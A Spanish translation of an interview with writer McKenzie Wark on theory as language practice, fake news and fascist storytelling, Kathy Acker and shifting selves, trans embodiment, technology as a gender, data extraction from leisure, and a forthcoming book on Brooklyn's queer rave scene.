McKenzie Wark: Mira, deberíamos leer la teoría de la misma manera que leemos cualquier otra cosa: de varias maneras diferentes al mismo tiempo. Una de esas capas de lectura debe ser la estética. Otra manera de entender la teoría seria como un tipo de intervención en el campo del lenguaje mismo. Así que, en lugar de pensar que podemos saltarnos la dimensión estética e ir directamente al concepto -hay una especie de idealismo en esta tendencia a pensar que la teoría sólo trata de conceptos, y yo misma puedo cometer a veces este error-, también deberíamos prestar atención a la materialidad del lenguaje. No creo que sea casualidad que la mayoría de las obras de teoría que se convierten en algo canónico tiendan a hacer cosas interesantes con el lenguaje. Y aquí quizás la teoría difiere a veces un poco de la filosofía, donde esto [la experimentación con el lenguaje] parece ser opcional. Quizá la filosofía tenga otros objetivos y responda a otras exigencias. Pero creo que la teoría siempre tiene que buscar formas de empujar el lenguaje que recibimos, ya que el lenguaje que recibimos siempre está lleno de ideas prefabricadas. Parece necesario transformar un poco el lenguaje para que podamos pensar de otra manera.

Uno de los temas más urgentes del momento, especialmente en Brasil, es cómo lidiar con el exceso de noticias falsas que se difunden a través de Facebook, WhatsApp, Telegram y otras plataformas, ya que las fake news han sido fundamentales para que el fascismo y el discurso de extrema derecha ganen impulso y poder político. En una charla muy interesante que dio con motivo de la Bienal de Riga, usted intenta superar la habitual distinción que se hace entre ficción y realidad convirtiéndolas en verbos -prácticas de ficcionar [ficting] y factuar [facting]- que usted entiende como vitales y necesarias.

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Usted propone algo muy interesante: la idea es que, en lugar de oponer realidad y ficción, ubicando a la ciencia en una posición idealizada y corriendo el riesgo de caer en ideas problemáticas sobre la noción de verdad, deberíamos abrir un espacio para las prácticas ficcionales y factuales que proponen formas más complejas de entrelazar ficciones y hechos. El problema, entonces, no sería cómo contrarrestar las noticias falsas con noticias reales, sino cómo escapar de una mala ficción. Y se puede decir fácilmente que el Brasil de Bolsonaro es realmente una mala ficción, la peor broma de los últimos tiempos. Entonces, retomando algo que usted formuló en Filosofía para arañas [Philosophy for Spiders], “tenemos todas las razones para sospechar que la imaginación ha sido colonizada por el padre de la uniformidad controladora”, la pregunta es: ¿qué ficciones podríamos crear para desmontar la narrativa fascista?

Bueno, hay muchas cosas ahí. No creo que haya respuestas fáciles para nada de esto. Lo que ocurre con los medios de comunicación con los que estamos tratando ahora es que nunca fueron diseñados para la sociedad civil. Fueron diseñados para extraer valor. En la época de la radio y la televisión también era así, pero su historia es un poco más complicada. Tal vez se puedan tejer muchas reflexiones sobre el papel que jugaron estos vehículos en la construcción de la nación, por ejemplo.

Pero cuando pasamos al siguiente capítulo de la evolución de los medios de comunicación, es como si ya nadie pensara en eso [la sociedad civil]. O tal vez esas preocupaciones se han dejado de lado. Y a partir de ahí tenemos plataformas que realmente están creadas básicamente para extraer de nosotros un surplus de información, nada más.

El contenido no importa. Lo que sí se sabe es que ciertos tipos de medios de comunicación que captan nuestra atención y que giran en torno a emociones como el miedo, el pánico y la ira funcionan muy bien. Son emociones que se pueden relacionar muy fácilmente con una especie de “romance fascista”. En cierto modo, vivir dentro del fascismo es como vivir dentro de una novela gigante. Eso es algo emocionante, porque siempre hay algo peligroso que debe ser atacado. Nos encontramos ante una serie de amenazas que aparecen continuamente.

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Y, por supuesto, habrá héroes y villanos. Es algo así como la ficción en serie: cada vez un nuevo personaje se convierte en una amenaza. Lo que se espera de nosotros es que nos agrupemos en torno al héroe fascista de la historia. El tipo de atención que gira en torno a la aparición recurrente de amenazas es bastante estimulante, por lo que muchas de estas estrategias se emplean ahora de forma bastante intencionada.

La pregunta que plantea la teoría es: �cómo salimos de esta gigantesca novela? O, si no es posible, �cómo crear una novela de un género más interesante?

Podemos pensar un poco en contra de la intuición: tal vez el problema de las noticias falsas no está sólo en el nivel de los hechos. La cuestión es que a veces los hechos no son del todo erróneos cuando se trata de noticias falsas. La cuestión es que las noticias falsas son tendenciosas, destacan algunos elementos en detrimento de otros. También vale la pena recordar que a menudo los medios de comunicación burgueses liberales que se supone que son mejores también están llenos de hechos cuestionables. No es como si pudiéramos reivindicar un poder legal para estar completamente del lado de los ángeles en todo este asunto. Vale la pena prestar atención a esta pregunta: �podríamos estar dentro de una novela diferente? �Podría haber diferentes formas de ficcionar? Y eso puede ser un reto en una época en la que es difícil argumentar que realmente puede haber futuros ante nosotros, sean del tipo que sean.

Y así es como la idea de la vuelta al pasado, que es otro elemento de la estructura narrativa del fascismo, obtiene su atractivo, se convierte en algo deseable. Es algo así como, “oh, es horrible aquí. Pero mira, estos tipos nos prometieron volver a algo que era mejor, lo único que tenemos que hacer es exterminar a otras razas y a otros géneros y todo este rollo de la otredad. Volvamos a, no sé, una especie de nirvana”. Entonces, �cómo creamos mejores ficciones? No soy una artista. No sé cómo hacerlo, pero eso parece ser parte del desafío.

Es realmente interesante la forma en que usted se refiere a la posibilidad de una ficción estrechamente relacionada con la idea del futuro, en lugar de evocar un retorno vinculado a algún tipo de

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nostalgia. Partamos ahora de algunos elementos que estamos discutiendo de forma más general e intentemos conectarlos con una dimensión más personal, vinculada a las nociones de identidad. En el libro que escribió sobre Kathy Acker, Filosofía para las arañas [Philosophy for Spiders], en lugar de referirse a un solo autor, se refiere a una red de muchas Ackers, múltiples y divergentes. En este entramado, el acto de alterarse [selving] aparece como otra práctica vital ligada a la idea de ficción. Me pregunto si podría describir algunas de las estrategias que uno puede emplear para ser otro, ya sea como escritor o como artista, en un contexto en el que Internet y los medios de comunicación, como estamos viendo ahora, están tan conectados a las nociones de identidad. En el que nuestros perfiles en diferentes plataformas se articulan entre ellos, conectando cuentas de correo electrónico, tarjetas de crédito, números de teléfono, plataformas de entretenimiento, medios sociales, etc.

Un escritor que me es muy querido, y que sólo puedo leer a través de traducciones, es Fernando Pessoa. El Livro do Desassossego ha tenido una influencia muy fuerte en mí. Y esa influencia está ligada a la historia de los heterónimos de Pessoa. No conozco mucho su poesía, pero conecto con esta idea de construir varios personajes, bastante completos, cada uno con su propio punto de vista estético autosuficiente. Me parece que el Livro do Desassossego, aunque en principio es un libro de Bernardo Soares, implica varios heterónimos diferentes, según algunos estudiosos. No soy un erudito de Pessoa, tal vez otras personas puedan hablar de ello mejor que yo. De todos modos, aparte de que me encanta su forma de escribir en prosa, me llamó la atención esta idea: “�qué ocurre si se abandona por completo la impresión de que la subjetividad del escritor debe circunscribirse a algún tipo de conjunto coherente?”

Para algunos escritores la idea de un conjunto subjetivo coherente puede ser más interesante que para otros, pero ciertamente Kathy Acker no estaba muy interesada en dicha coherencia. Permite que las situaciones, las experiencias, las sensaciones y la formación de conceptos arrastren la subjetividad a diferentes órbitas. No se trata de heteronimia,

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como en el caso de Pessoa, ni de esquizofrenia en el sentido deleuziano: los personajes de Acker varían, más que difieren radicalmente entre sí. Pensar que, un poco como Pessoa, Kathy Acker creó diferentes versiones del yo que a veces podían conectarse, me ayudó mucho mientras escribía sobre su obra.

Y lo que notamos es que a veces cambia [de pronombre] en medio de una frase, en medio de un texto. Se puede decir que evoluciona más allá de Pessoa, que creó identidades distintas que escribieron por separado. Aquí [en la obra de Acker] estás en medio de una frase y, de repente, “¡oh, espera un momento!”. No sólo la prosa se ha convertido en otra cosa, sino que la autora se ha convertido quizás en otra persona, y te das cuenta perfectamente mientras estás leyendo. Esto me pareció un conjunto interesante de experimentos, que abre muchas preguntas. Porque Kathy y yo somos de la misma época. No creíamos en absoluto en la identidad. �Cómo se crea la identidad? �Hasta qué punto es una construcción? Estas cuestiones nos parecían más interesantes que tomar la subjetividad como presupuesto y escribir desde ese punto de vista.

Podría ser interesante pensar en estas cuestiones no sólo en relación con el escritor, sino también con el artista, porque la figura del artista suele estar estrechamente asociada a ideas como el estilo y la identidad. El estilo y la identidad permiten reconocer constantemente al artista, contribuyendo no sólo a que éste demuestre tener la producción coherente que se espera de él, una producción que supuestamente estaría evolucionando, sino sobre todo a satisfacer las demandas del mercado. Al fin y al cabo, el valor de la obra también está relacionado con la identidad del autor. Tal vez esta propuesta de poder cambiar la identidad como un juego nos trae alternativas para que podamos no sólo manejar diferentes identidades, sino también investigar cuestiones poéticas, teóricas e infraestructurales desde diferentes perspectivas, con diferentes matices. Es una forma muy útil de pensar en la identidad con una mirada inventiva.

Sí. Hay que decir que Kathy Acker era muy buena en lo que ahora llamamos self branding. Tenía una forma de presentarse, una apariencia consistente.

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Y eso también tenía que ver con el hecho de que tenía que trabajar siendo una mujer que, en sus propios términos... siempre decía: “No soy convencionalmente bella. Por lo tanto, tengo que ser interesante”. Eso es lo que dijo de sí misma. Así que, aunque en el texto jugaba con la subjetividad de forma muy libre, tenía que presentar esta imagen coherente, porque, seamos sinceros, los artistas trabajan en un mercado, y ese mercado funciona de una forma muy concreta.

También hay una artista llamada Lynn Hershman, cuyo trabajo me gusta mucho. De sus obras, que son todas estupendas, la que realmente impresiona es una de las que creó en los años 70 -es cuando creó la mayor parte de las cosas a las que acabo volviendo constantemente-, creó todo un otro personaje llamado Roberta Breitmore, que siempre llevaba un determinado tipo de vestido y un determinado tipo de peluca. Tiene toda una documentación bajo el nombre de Roberta.

Tuvo citas románticas como Roberta y alguien la fotografió en lugares públicos con estos hombres que conoció a través de los clasificados de un periódico. No puedes ver sus caras. Hay una ética en juego. Consiguió un trabajo con esta persona falsa. Es una obra extraordinaria de los años 70. Y eso, por supuesto, está ahora conectado a Lynn Hershman Leeson. Después de un tiempo se cansó de hacerlo y empezó a animar a otras personas a convertirse en Roberta. Surge así algo así como una idea de subjetividad distribuida, que más tarde encontró eco en el uso de nombres colectivos como “Luther Blisset”. Siempre me han interesado este tipo de experimentos, aunque nunca he hecho nada parecido. Mi trabajo ha sido siempre como Mckenzie Wark durante 35 años: sólo uso mi segundo nombre y mi apellido. Pero me interesa la gente que ha trabajado para abrir ese espacio.

En esta pregunta propondremos una interacción entre dos libros que usted escribió en diferentes momentos: Rojo Molecular [Molecular Red] y Filosofía para Arañas, pensando en lo que podría llegar a ser una noción de corporeidad más allá de la noción de identidad. Alexander Bogdanov, cuyas nociones, como la de prolekult, analiza en profundidad en Rojo Molecular, experimentó con la transfusión de

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sangre en su propio cuerpo, tratando la sangre como un fluido a ser compartido. En Filosofía para las arañas, usted habla de la forma en que Kathy Acker empleó el culturismo y la masturbación como técnicas complementarias a la escritura. Y también podríamos pensar en la experiencia transgénero, o transexual, como un experimento colectivo, un desvío que ocurre en nuestros propios cuerpos. ¿Podría hablar un poco de la noción de corporeidad como un espacio de prácticas que al mismo tiempo activan y desplazan la teoría, un espacio de experimentación que va más allá del individuo?

Wow. Eso es genial. En realidad, no había pensado en esas cosas juntas, pero sí. Sobre los experimentos de transfusión de sangre de Bogdanov, tenemos que ser claros y decir que no funcionaron. No era una buena ciencia. No había controles para esos experimentos. Pero creo que el banco de sangre de la Unión Soviética se llamó durante un tiempo Instituto Bogdanov, aunque los estalinistas lo consideraban una especie de persona non grata en aquella época. Me interesan las fenomenologías de los cuerpos, las técnicas y las situaciones que se comparten, y tal vez ahí haya un hilo que conecte también con el trabajo sobre los situacionistas y sus “situaciones construidas”. Bogdanov, y también Andrei Platonov, de manera muy diferente, crearon obras sobre experiencias de encarnación en el cuerpo en tiempos urgentes y oscuros. Y también Acker, en circunstancias mucho más privilegiadas, trabajaba en el lenguaje del cuerpo, descubriendo cómo dejar hablar al propio cuerpo. Para ella, algo surge del acto repetido de levantar un peso: en cierto modo, a través de las repeticiones, el cuerpo empieza a hablar a su manera.

Y luego está el trabajo que estoy haciendo actualmente sobre las raves, que también son situaciones construidas, pero que me permiten profundizar principalmente en las fenomenologías de la disociación. Me interesan los estados disociativos que permiten las raves, ya que son estados que las personas trans suelen experimentar con frecuencia. La disociación, en un sentido clínico, suele entenderse como algo debilitante, pero tal vez exista un arte de la disociación, algo que pueda entenderse como una habilidad. �Cómo podemos entender

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la disociación no sólo como una discapacidad, sino como una habilidad? Es como si no pudiéramos estar aquí, como si no habitáramos ni esta subjetividad ni este mundo. A veces es la disforia de género la que nos empuja en esa dirección. Pero tal vez todo eso también pueda verse como una habilidad. De hecho, creo que fue así como pude escribir estos libros: [fue una forma de compensación, ya que] la disociación me afectó tan intensamente, y durante tanto tiempo. Y no sabía por qué. Cuando hice la transición, dejé de escribir durante un tiempo. Ya no necesitaba hacerlo. Y ahora creo que he vuelto, con el libro sobre raves. Así que, sí, supongo que, debido a mi desinterés por el psicoanálisis, que me parece que tiene demasiados presupuestos, me interesan las fenomenologías experimentales en las que el cuerpo encarna de forma colectiva. La subjetividad y la identidad me interesan menos que los estados que se encarnan en la carne.

En una entrevista usted dijo que te interesaba más la palabra “transexual” que la palabra “transgénero”, señalando que la experiencia con el género puede estar relacionada a la experiencia de la sexualidad. Esto hace pensar que la transición es algo que puede ocurrir en el encuentro de los cuerpos, y no sólo en un viaje en el que sales a buscar tu núcleo o algo así.

Sí. Hay que tener cuidado con la traducción. Porque, de alguna manera, el término “transgénero” en inglés no es equivalente a las formas en que se podría utilizar un término similar en otros lugares. Estas cosas se desarrollan de manera diferente en las distintas culturas. Así que me gustaría ser un poco consciente de ello. Sólo puedo hablar con respecto al contexto anglófono. El término “transgénero” se ha convertido en una especie de categoría de identidad liberal casi aceptable, pero esa palabra tiende a restar importancia a la experiencia transexual de las modificaciones corporales. Y quizá tanto “transgénero” como “transexual” puedan implicar una serie de ideas respetables sobre formas de existir, ideas que quizá se han vuelto demasiado respetables. Quiero ser cuidadosa en aclarar que no es necesario pensar en la experiencia trans a través de la sexualidad, pero durante algún tiempo

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es como si no se nos permitiera pensar de esa manera en absoluto. Para mí, había una posibilidad de pensar en la experiencia trans y su descubrimiento desde la sexualidad. Creo que hay que ponerlo sobre la mesa, pero sin presionar demasiado.

Además, en inglés, la palabra “transexual” simplemente suena mejor, es una gran palabra. Hay un pequeño movimiento que busca reivindicarla, pero es muy importante no vigilar los límites de esa palabra. Puedes perfectamente no medicalizarte y posicionarte como transexual. Estaría totalmente feliz con eso. Para las minorías, vigilar la identidad de los demás no parece algo divertido, ya que todo el mundo lo hace con nosotros. No sé cómo se desenvuelve esto en tu idioma, pero sé que en español hay un movimiento para rescatar la palabra “travesti”, que podría no encajar con ninguno de estos términos en inglés.

Para las personas pertenecientes a minorías, cuando se trata de la lengua, siempre es necesario hacer uso de cualquier táctica disponible en el entorno con el fin de crear significados para nosotros mismos y nuestros amigos, adentrándonos en la cultura dominante y en contra de ella.

Sí, la palabra “travesti” existe también en portugués, es una palabra poderosa que también está muy viva aquí. En una reciente conversación con Orlando Betencourt, usted dijo que quizás no hay nada que no sea tecnológico o técnico, ya que los conceptos en torno a la idea de lo humano pueden haber surgido a través del encuentro entre la obra y la herramienta. Y en ese sentido, podríamos decir que siempre hemos sido ciborgs. Usted cuestionaba esta idea recurrente de que todo sería cultural, y proponía mirar hacia el encuentro entre la acción, el cuerpo, la herramienta y la técnica. En Filosofía para las arañas, cuando habla de la relación de Acker con las motos, usted dice que “quizás el concepto de tecnología representa otro género, otro erotismo”. ¿Podría desarrollar más esta idea? ¿Qué formas de erotismo están implicadas en el encuentro entre el cuerpo y los artefactos? ¿Cómo la tecnología da forma al deseo y es moldeada por él?

Hay varias cosas en juego. Quizá la tecnología sea anterior a la humanidad. Probablemente haya una

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versión arqueológica de este argumento que no estoy capacitada para desarrollar, porque obviamente no soy arqueóloga, pero según mi entendimiento lego había homínidos que usaban herramientas antes de que llegara el homo sapiens. Las herramientas parecen precedernos literalmente. Por lo que puedo entender, la mano y la herramienta evolucionaron juntas. Hay pruebas tanto de herramientas de piedra como de herramientas que se han desintegrado y, por tanto, no permanecen en el registro arqueológico: parece que la gente podía tejer y hacer cestas antes de que fuéramos humanos modernos. Nuestros ancestros anteriores al homo sapiens podían hacer todo eso. La técnica no es algo secundario que llega más tarde en la historia de la humanidad. Se podría llevar este argumento aún más lejos: quizá todas las especies tengan sus propias tecnologías.

�Y si pensamos que las tecnologías pueden integrarse en el propio cuerpo? �Qué pasaría si pensáramos en los dientes como una forma de tecnología, en lugar de pensar en la dentadura postiza o el cuchillo como artefactos tecnológicos? Creo que tenemos que dejar de pensar en la tecnología como lo otro, como algo que nos es ajeno, para abrazarla de alguna manera; abrazarla y estar cerca de ella. Y todo esto plantea cuestiones de género y de erotismo en torno a la tecnología. Y si las tecnologías son tan íntimas a lo humano, me parece interesante preguntar: �cuál podría ser su género? �Y si la tecnología fuera un género más? Iba a decir tercer género, pero quizás ya hay más de dos géneros humanos. No lo sé. �Es necesario que haya un número? Parece que la mayoría de las personas se reconocen en uno de los dos géneros del binomio, pero también hay personas intersexuales y trans. Las lenguas occidentales e imperiales tienden a funcionar a partir de una división de género binaria, que reduce el número de géneros a dos. Tal vez haya demasiados. �Y si pensamos que la tecnología también es un género? Llegué a esta formulación a través de Andrea Long Chu: en sus escritos, es como si la tecnología pusiera una especie de paréntesis en la forma de pensar el género. �Hay alguna forma de conocer su género sin algún tipo de técnica? Hay un argumento que siempre surge cuando se habla de género que, para mí, es una tontería sin sentido: “el género es biología, está en tu ADN”. Y entonces, bueno, �cómo

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sabes tu ADN? La verdad es que la mayoría de nosotros no lo sabemos. Supongo que mis cromosomas son XY, pero realmente no lo sé con seguridad, porque nunca me he hecho una prueba.

Hay una pequeña posibilidad de que mis cromosomas sean de alguna otra variante. No todos los humanos son XY o XX, hay otras variables. �Cómo puedes saber tu sexo sin una técnica? No lo conoces directamente en relación con tu propio cuerpo. No lo sabes en relación con otro cuerpo. Siempre hay un elemento mediador en medio. Así que, sí. Tal vez se pueda pensar [en este elemento mediador] como un tercer género, o más bien como un género extra en relación con cualquiera que sea el número de géneros humanos.

Estamos hablando del modo en que los medios de comunicación y la tecnología son herramientas que moldean y se forman a través de procesos que ocurren en el cuerpo. Es muy interesante cuando usted dice que le interesan más los procesos que ocurren en el cuerpo que la subjetividad entendida desde un punto de vista psicológico. Y la siguiente pregunta busca pensar en cómo estos procesos podrían relacionarse con los dispositivos de la clase vectorial y la clase hacker. Porque, en parte, la relación entre estas clases se estructura y orienta a través de la relación entre la información, la producción de subjetividad y el deseo.

En El Capital Está Muerto [Capital is Dead] usted comenta cómo esta idea [la relación entre información y deseo] guía tanto la elaboración de perfiles personales como las marcas corporativas, en particular la explotación de datos personales para crear perfiles de personas. Y, teniendo en cuenta la forma en que estamos pensando la relación entre la tecnología y los medios de comunicación, parece interesante pensar en los medios que utilizamos hoy no sólo como formas de explotación de datos, sino también como transmisión de información, de datos. Y hoy en día todo esto ha creado muchos problemas, ¿no es así?

Todo esto está interfiriendo no sólo en nuestras relaciones interpersonales, sino también en nuestras relaciones laborales. Hasta ahora nuestra conversación estaba tomando un giro inspirador, llevándonos a pensar en cómo los medios de comunicación

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y la tecnología se encarnan en el cuerpo y cómo pueden utilizarse como herramientas para encarnarse de otras maneras, pero quizás sería interesante tratar de analizar este otro aspecto de la cuestión. ¿Cuál sería la forma de abordar esta situación para que no estemos constantemente explotando nuestros deseos, subjetividades, identidades, cuerpos, etc. para la producción de datos, la plataformización del trabajo, etc.?

El trabajo asalariado es de alguna manera un sistema totalizador del que es muy difícil salir. El tiempo libre solía ser una posibilidad de salida. Una de las grandes reivindicaciones del movimiento obrero era, al menos en mi mundo, la jornada de ocho horas. Había que restringir el tiempo de trabajo para que hubiera tiempo para el ocio, para el descanso, etc. A partir de entonces se produjo una especie de mercantilización tardía de la idea de ocio, con la reducción de la jornada laboral. La respuesta del capitalismo [a la reducción de la jornada laboral] fue colonizar este espacio y crear la industria cultural. Con ello, se produjo una especie de mercantilización a escala industrial de esta época que se había liberado de la jornada laboral asalariada.

Pero, de alguna manera, el tiempo que dedicamos a estas actividades sólo produce valor de forma indirecta. Era una forma de recrear el valor del trabajador, pero no era en sí mismo algo de lo que se pudiera extraer valor más allá del beneficio obtenido por la explotación del trabajo creativo [de quienes trabajan en la industria cultural]. Esa es la novedad [de la etapa en la que nos encontramos]: extraer el valor directamente de lo que no está en la esfera del trabajo, ese es el punto de inflexión. Este valor se extrae en forma de atención, información y trabajo no remunerado.

Allí ha surgido una nueva zona [de extracción de valor]. No es como en los viejos tiempos, cuando sólo ibas al cine y podías sentarte a ver una película en tu tiempo libre. Había que pagar por la película, eso formaba parte de la industria cultural. Ahora sólo tienes que ir por ahí con este estúpido teléfono en el bolsillo, generando información gratuita para veinte o treinta empresas, la mayoría de las cuales ni siquiera conoces, y tienen acceso

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a los datos que estás produciendo. En eso consiste la mercantilización del no trabajo.

Entonces, en esas condiciones, �cuáles son las tácticas que podemos emplear para crear cualidades diferentes de tiempo, de situación, de relación, más allá de la explotación del no trabajo? Sólo podremos mantenernos al margen hasta cierto punto, pero hay algo que me parece importante: tenemos que ser capaces de crear situaciones que quizá no sean necesariamente utópicas, ya que todos los conflictos sociales que vivimos estarán ahí, pero en las que la extracción de datos y la espectacularización se reduzcan de algún modo al mínimo. Esta es una forma de decir en pocas palabras por qué me gustan las raves. Salgo a bailar alrededor de las cuatro de la mañana, y en las mejores fiestas está estrictamente prohibido utilizar una cámara o un celular en la pista de baile.

En las raves seguimos en el ámbito técnico. Voy a bailar cerca de un gran sistema de sonido, pero es como si de alguna manera pudiéramos hacer que ese tiempo se separe un poco del tiempo dedicado a la extracción. Que el tiempo puede tener una calidad diferente, donde lo que importa es la forma en que nos movemos en relación con los demás. Nos conoceremos de una manera diferente a través de la experiencia que nuestros cuerpos comparten en la pista de baile. Nos daremos cuenta de quiénes no pertenecen a nuestro grupo, ya que tendremos que movernos al otro lado de la pista de baile por culpa de un montón de tipos incómodos [risas]. Es sólo un ejemplo. �Dónde podemos crear espacios que funcionen con reglas diferentes? No sé qué dimensión son capaces de alcanzar esas situaciones. Francamente no soy optimista en cuanto a que este proceso de mercantilización que opera a través de la extracción de la participación, información y atención pueda ser reversible, pero el arte de crear espacios internos a esta mercantilización del no trabajo me parece algo clave en este momento.

En su cuenta de Twitter habla de la música que le gusta, de la gente que ha visto y de los clubes a los que va. Usted habla a menudo de artistas y colectivos como Discwoman y Juliana Huxtable. ¿Podría hablarnos un poco más del libro que está escribiendo sobre las raves y los elementos de la música dance y electrónica en los que está trabajando?

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Durante la transición perdí la capacidad de escribir cosas elaboradas, perdí la capacidad de escribir libros. No tenía nada. Es como si ya no necesitara hacerlo. Antes de la transición, estaba tan disociada que acababa cayendo en una especie de trance en el que escribía sin parar. Y luego, después de salir del armario, estuve completamente sin escribir durante tres años. Sólo podía salir a bailar. Me pidieron que contribuyera con un libro a una serie sobre diferentes prácticas y dije: “bueno, no he leído lo suficiente como para escribir un libro, pero puedo escribir sobre esto, sobre las raves”. Es lo único que hago ahora, fue algo que surgió de este movimiento de búsqueda de una voz y un estilo ligeramente diferentes. Estilísticamente, el libro se acerca a Reverse Cowgirl y a la primera mitad del libro sobre Acker.

Es un intento de escribir a partir de una experiencia individual, mi experiencia afirmativa de disociación en la pista de baile, y a partir de ahí descubrir diferentes posibilidades de salir del campo de la subjetividad, y superar la constante extracción de información del no trabajo. La escena rave queer de Nueva York es popular entre la gente que realiza algún tipo de trabajo intelectual, como yo, y también entre la gente que realiza algún tipo de trabajo social o emocional. Muchos de mis amigos trabajan en ambientes nocturnos. Al principio no tenía ningún sentido. Es como si trabajaras en un club durante ocho horas y luego te fueras a otro. �Cómo y por qué lo hace? Mi trabajo también es a veces un trabajo emocional. No puedo enseñar sólo ideas. Enseño cómo las personas pueden convertirse en sus propios maestros, y eso también es un trabajo emocional. Cuando haces un trabajo así, a veces lo único que necesitas es salir de todo eso. Alquilar tu propia subjetividad te somete a demasiada presión, y eso es algo que se nos exige a muchos de nosotros en muchos contextos laborales hoy en día. Así que salir a bailar es una forma de liberarse de todo eso. Me interesan las raves como un campo colectivo e improductivo de trabajo físico que pueden compartir tanto los trabajadores intelectuales como los que realizan un trabajo emocional.

También estoy intentando crear un diagrama de la comunidad [rave], para mapear las tensiones y dificultades de circular en estos ambientes, y cómo

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esta escena abre espacios para las personas trans, aunque también seamos minoría allí. No se trata de nuestro universo trans. Es un lugar en el que somos gente corriente, y eso es bastante raro. Un lugar donde la presencia de personas trans no llama la atención. En algunos espacios representamos el 10% de los habituales, el 5% en otros, y el hecho de no ser el objetivo de la curiosidad de nadie nos hace decir: “gracias”. Espacios como este son muy difíciles de encontrar.

Juliana aparece en el libro. Creo que el texto comienza y termina con espectáculos de Juliana Huxtable. En una de estas historias, comparte el set con otro DJ que ya no quiere tocar y entonces ella toca toda la noche: es el último show que aparece en el libro. Yo no estuve durante las ocho horas, no pude aguantar tanto tiempo, pero ella sí. Es increíble. Vi la segunda mitad. Me interesan los tipos sociales, así que el libro sobre las raves dialoga muy bien con Hacker Manifesto y Gamer Theory. �Cómo navegan estos tipos sociales algo abstractos [raver, gamer y hacker] por las tecnologías y el proceso de mercantilización del siglo XXI? Se podría decir que, de cierto modo, el libro que estoy escribiendo forma un trío con estos otros dos.

Hay un libro llamado Make Some Space, de Emma Warren, en el que la autora analiza un espacio que existía en Londres. El libro se centra en los edificios que albergan las fiestas, pero también en las personas que asisten a ellas. En la escena de la rave aquí en Brasil hay una preocupación muy profunda con la infraestructura y el trabajo que hay detrás de esa escena, con el trabajo emocional que hacen las personas que giran alrededor de ella. Y, por lo general, lo que se observa al acercarse a estas comunidades es que su existencia está en manos de muy pocas personas, ¿verdad? Hay un club llamado Bossa Nova Civic Club [Nueva York] que está a punto de cerrar sus puertas debido a un incendio. Cuando se pierde un espacio, o cuando una persona decide dejar de formar parte de la escena, el efecto dominó suele ser bastante grande. ¿El libro que está escribiendo también analizará la infraestructura que hay detrás de las raves, el telón de fondo que las sustenta?

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En absoluto, pero hay un pasaje que conecta con ese tema. La escena en Brooklyn gira especialmente en torno a Bushwick y Ridgewood. Casi todos son espacios a los que puedo ir andando, desde los que la gente puede ir andando a casa. Son espacios industriales que solían estar muy infravalorados. Pero en cuanto estos espacios empiezan a atraer a la gente, se contribuye a un proceso de aburguesamiento. Y acabamos teniendo que lidiar con eso: participamos colectivamente en algo que nos será expropiado, y nos hará tener que mudarnos a otro lugar. Hay ciertas cualidades que hacen que un espacio sea interesante, y no es fácil encontrar buenos espacios en Brooklyn ahora mismo. Espacios que están en el punto perfecto, a medio camino entre no estar en un lugar demasiado lejano y no correr el riesgo de que la policía los cierre demasiado pronto. Estos espacios se han vuelto bastante raros, un poco difíciles de encontrar. Los realmente buenos suelen ser bastante pequeños, con espacio para un centenar de personas. No hablo de grandes fiestas: incluso cuando hablo de algunas que se acercan a la ilegalidad, son fiestas en las que el número de asistentes no supera los cientos de personas. En la escena techno, hay una pequeña red de clubes legales que tuvieron que cerrar por culpa de las licencias. Como no estoy hablando de techno, lo veo un poco indirectamente. Me centro más en los galpones: una fiesta no es realmente una rave si no se celebra en un galpones, �no? O quizás en otro espacio reformado, pero desde luego no en un club normal.

Aquí solemos utilizar los parqueaderos [risas].

Eso pasó bastante por aquí durante el COVID. Escribí sobre uno que ocurrió detrás del parqueadero de Ikea. No sé si Ikea existe en Brasil, es una enorme tienda de artículos para el hogar con un parqueadero gigantesco, y detrás había un espacio para raves. Ese lugar cerró. Así que la fiesta se trasladó a un callejón sin salida en otro lugar. En otra ocasión acabó ocurriendo en una vía férrea. No se puede bailar entre las vías del tren. ¡Puedes romperte el tobillo! Las terrazas de los edificios se han convertido en una tendencia. Ahora hace mucho frío, pero creo que en primavera volveremos a ver gente bailando en las terrazas, aunque estas

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fiestas siempre acaban cerrándose. Con el calor, tal vez vuelvan a empezar las fiestas en la playa. �Cómo se baila en una playa? [risas]. En fin, es una forma de descubrir espacios en la ciudad. Sigues las coordenadas en un mapa y de repente te das cuenta de que el lugar que buscas está en un bosque, y pronto estás dando tumbos [risas]. Me encantan este tipo de cosas. La forma en que acabas descubriendo la geografía psíquica de una ciudad, deslizándote por ella en busca de raves, experimentando la ciudad como una situación abierta al placer, al no trabajo. Pero me estoy haciendo demasiado vieja para ese tipo de cosas. El año pasado cumplí 70 años.

Sí. Por lo general, esas pequeñas comunidades dependen en gran medida de ese tipo de espacio y de un pequeño grupo de personas. Así que cuando algo así sucede, muchas cosas se desmoronan.

Hubo una reunión sobre la escena de la vida nocturna que llamamos town hall en un club llamado Nowadays, y en ella participaron sobre todo personas negras y transexuales que trabajan en la industria noctura. Y lo que descubrimos es que todos los clubes eran propiedad de hombres blancos heterosexuales, �puedes creerlo? Es como si fuéramos inquilinos de nuestra propia cultura. Lo digo como persona blanca de clase media, pero todo esto concierne sobre todo a las personas negras y trans que no tienen más que vida nocturna. La vida nocturna es el único camino a casa, �sabes?

LA TECNOLOGÍA COMO GÉNERO Y OTRAS

FENOMENOLOGÍAS

Traducción: Beatriz Toledo, Jorge Lopera y Nicolás Llano

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